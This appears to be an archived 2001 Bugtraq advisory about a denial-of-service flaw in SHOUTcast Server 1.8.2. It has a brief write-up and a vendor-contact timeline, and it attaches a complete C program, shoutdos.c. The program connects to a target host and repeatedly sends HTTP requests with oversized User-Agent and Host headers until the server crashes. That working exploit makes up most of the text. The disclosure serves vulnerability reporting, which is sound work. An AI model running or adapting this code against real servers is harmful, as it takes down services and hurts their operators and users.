6841915 2001-08-03 10:29 +0200  /49 rader/ FraMe <frame@hispalab.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-03  17:02  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18614>
Ärende: Denial of Service in SHOUTcast Server 1.8.2 Linux/w32/?
------------------------------------------------------------
Vendor   :  Nullsoft
Product  :   SHOUTcast Server 1.8.2 Linux/win32/?
Date     :  01/08/2001

CONTENTS

1. Overview
2. Details
3. Systems.
4. Denial of Service
5. Vendor Response

1. Overview:

SHOUTcast Server is a streaming audio server. A "bad" client request
can crash the server.

2. Details

Server crash when get, seven
times ( aprox ), a very long buffer (4KB) in fields: User-Agent and
Host, in the client HTTP request.

3. Systems

    - SHOUTcast Server 1.8.2 ( Linux )
    - SHOUTcast Server 1.8.2 ( Win32 )
    - SHOUTcast Server 1.8.2 ( Others ) ( No test )

4. DoS

The DoS in C format is attached.

5. Vendor Response

31/08/01: Sent problem to tom@nullsoft.com

03/08/01: No response from tom@nullsoft.com
                Sent problem to bugtraq@securityfocus.com


=================================================
[ FraMe - frame@hispalab.com ]
[ Digital LiVe - http://frame.lifefromthenet.com ]
[ PGP Key - www.hispalab.com/frame/pgpkey.asc  ]
[ Geek Code - www.hispalab.com/frame/geek.txt ]
=================================================
(6841915) /FraMe <frame@hispalab.com>/----(Ombruten)
Bilaga (application/octet-stream) i text 6841916
6841916 2001-08-03 10:29 +0200  /93 rader/ FraMe <frame@hispalab.com>
Bilagans filnamn: "shoutdos.c"
Importerad: 2001-08-03  17:02  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18615>
Bilaga (text/plain) till text 6841915
Ärende: Bilaga (shoutdos.c) till: Denial of Service in SHOUTcast Server 1.8.2 Linux/w32/?
------------------------------------------------------------
/*
 * ShoutDoS: Remote Denial of Service SHOUTcast Server 
 * 
 * ShoutDoS (C) 2001 FraMe <frame@hispalab.com>
 * 
 * Tested: 
 *	  SHOUTcast Server 1.8.2 Linux
 *	  SHOUTcast Server 1.8.2 Win32
 * 
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/errno.h>

void msg(void) {
    printf("ShoutDoS: Remote Denial of Service SHOUTcast Server\n");
    printf("ShoutDoS (C) 2001 FraMe <frame@hispalab.com>\n");
}

int main(int argc,char **argv) {

    int s,n=0,c;
    struct sockaddr_in sa;
    struct hostent *SHOUTserver;
    
    char buffer[]="GET / HTTP/1.0\r\nUser-Agent:
    SHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServicSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServicSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServicSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServicSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofService\r\nHost:
    your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now\r\nAuthorization:
    Basic\r\n\r\n"; char rbuff[512];
    
    if ( argc != 3 ) {
	msg();
	printf("Usage: %s ip port\n",*argv);
	exit(1);
    }
	
    if ((SHOUTserver = gethostbyname(argv[1])) == NULL) {
	msg();
	printf("Error: gethostbyname()\n");
	exit(1);
    }
    
    memcpy(&sa.sin_addr.s_addr,SHOUTserver->h_addr,SHOUTserver->h_length);
    sa.sin_family = AF_INET; sa.sin_port = htons(atoi(argv[2]));
    
    if ((s=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
	    msg();
	    printf("Error: socket()\n");
	    exit(1);
	}
    
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
	    msg();
	    printf("Error: connect()\n");	
	    exit (1);
	}
    
    close(s);
    msg();
    printf("Connect. The host appears be up...\n");
    printf("Doing DoS ");

DoS:

	if ((s=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
	    printf(" Error!\n");
	    exit(1);
	}
    
	if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
	    printf(" Server Crash!\n");	
	    exit (1);
	}

	write(s,buffer,sizeof(buffer)-1);
	read(s,rbuff,sizeof(rbuff));
	close(s);
	printf(".");

    goto DoS; // Basic Power :)
}

/* EOF */
(6841916) /FraMe <frame@hispalab.com>/----(Ombruten)